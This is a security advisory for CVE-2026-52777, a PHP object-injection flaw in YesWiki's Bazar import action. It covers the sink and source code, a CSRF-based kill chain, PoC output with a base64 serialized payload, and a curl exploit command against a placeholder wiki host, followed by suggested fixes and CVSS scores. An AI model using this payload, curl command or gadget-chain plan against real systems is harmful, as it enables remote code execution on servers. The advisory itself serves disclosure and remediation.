CVE-2026-52777
Published:July 09, 2026
Updated:August 02, 2026
Details Sink "tools/bazar/services/CSVManager.php" line 372-399: public function importEntry(array $importedEntries, string $formId): ?array { if (!$this->importdone) { // ... foreach ($importedEntries as $entry) { $entry = unserialize(base64_decode($entry)); // <-- SINK $entry = array_map('strval', $entry); // ... There is no "['allowed_classes' => false]" argument; arbitrary classes are instantiated. The subsequent "array_map('strval', $entry)" additionally exercises "__toString" on each top-level array element, doubling the magic-method surface available to a gadget chain. Source "tools/bazar/actions/BazarImportAction.php": // formatArguments() 'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' : (isset($_POST['importfiche']) ? 'importentries' : 'default'), 'importentries' => $_POST['importfiche'] ?? null, // run() case 'importentries': // ... $importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']); break; "$_POST['importfiche']" flows directly to the sink. The "mode" switches to "'importentries'" whenever the request body contains the key, so an attacker need only POST "importfiche[0]=<payload>". Reachability 1. The action is registered as "bazarimport". The default "BazaR" page ("setup/sql/default-content.sql" -> "BazaR" page entry, ships with "{{bazar showexportbuttons="1"}}") routes "?BazaR&vue=importer&id_typeannonce=<N>" to "BazarAction::run()" -> "case VOIR_IMPORTER -> callAction('bazarimport', ...)" ("tools/bazar/actions/BazarAction.php:257-258"). So the sink is reachable on a default install with no extra page authoring. 2. "BazarImportAction::run()" calls "$this->checkSecuredACL()" with the default "$adminOnly=true". Only wiki admins (or accounts the admin has added to the "bazarimport" action ACL) can execute it. 3. The "importentries" branch does NOT invoke "CsrfTokenController::checkToken(...)". Grepping "tools/bazar/actions/BazarImportAction.php" confirms the action class has no "csrf" or "checkToken" reference at all. This is asymmetric with sibling actions: "tools/bazar/controllers/FormController.php" does call "checkToken('main', 'POST', 'confirmDeleteToken')" for destructive operations. The import path skips the same protection. 4. Therefore the full kill chain for a remote attacker is: a. Identify any admin user on the target wiki. b. Deliver an HTML page (email, chat, link) that auto-POSTs "importfiche[0]=<base64-encoded PHPGGC payload>" to "https://<wiki>/?BazaR&vue=importer&id_typeannonce=1". c. The admin's session cookie is sent automatically; the action passes "checkSecuredACL"; the unserialize fires. Gadget chain availability "composer.json" requires "doctrine/annotations ^1.11" and "doctrine/cache ^1.10". Both have published PHPGGC chains ("Doctrine/RCE1", "Doctrine/FW1", "Doctrine/FW2", etc., from https://github.com/ambionics/phpggc). These chains terminate in either "system($cmd)" (RCE1) or "file_put_contents($php_file, $contents)" (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host. This advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling. Past advisories cross-check YesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an "unserialize" / PHP-object-injection sink, so this is a novel vulnerability class for the project. PoC A self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled "__destruct" runs without booting the full application. Run: php poc.php Output (verbatim): Crafted importfiche[0] payload (form-ready, urlencoded): YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D == before importEntry == [Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE' PHP Fatal error: Uncaught Error: Object of class Gadget could not be converted to string ... [Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE' The two "[Gadget] __destruct fired" lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined "Gadget::__destruct" executed -- with the attacker-supplied marker -- inside the unmodified "importEntry" code path. End-to-end against a live YesWiki install: curl -i -b "yeswiki_session=<admin_cookie>" -X POST "https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1" --data-urlencode "importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ==" (replace the payload with a real PHPGGC "Doctrine/FW1" or "Doctrine/RCE1" output to obtain RCE on the target host). Impact - Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required). - An attacker who has already compromised an admin password upgrades from "wiki content management" to "OS shell on the hosting box". - The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify "wakka.config.php", dump the MySQL database, and pivot from there. Suggested fix 1. "tools/bazar/services/CSVManager.php::importEntry" -- pass "['allowed_classes' => false]" to "unserialize", or, better, replace the base64+serialize transport with the JSON transport the current UI already uses ("?api/entries/{formId}" POST in "tools/bazar/presentation/javascripts/bazar-import.js"). The serialized-PHP transport appears to be an unused legacy path. 2. "tools/bazar/actions/BazarImportAction.php" -- add a "CsrfTokenController::checkToken('main', 'POST', 'csrf-token', false)" guard for the "'importentries'" mode (and any other state-changing modes). The existing "tools/bazar/controllers/FormController.php" pattern can be lifted directly.
Affected Packages
https://github.com/YesWiki/yeswiki.git (GITHUB):
Affected version(s) >=v4.1.0 <v4.6.6Fix Suggestion:
Update to version v4.6.6yeswiki/yeswiki (PHP):
Affected version(s) >=dev-aceditor-fix <v4.6.6Fix Suggestion:
Update to version v4.6.6Related Resources (3)
Do you need more information?
Contact UsCVSS v4
Base Score:
9.4
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
ACTIVE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
HIGH
CVSS v3
Base Score:
9.6
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH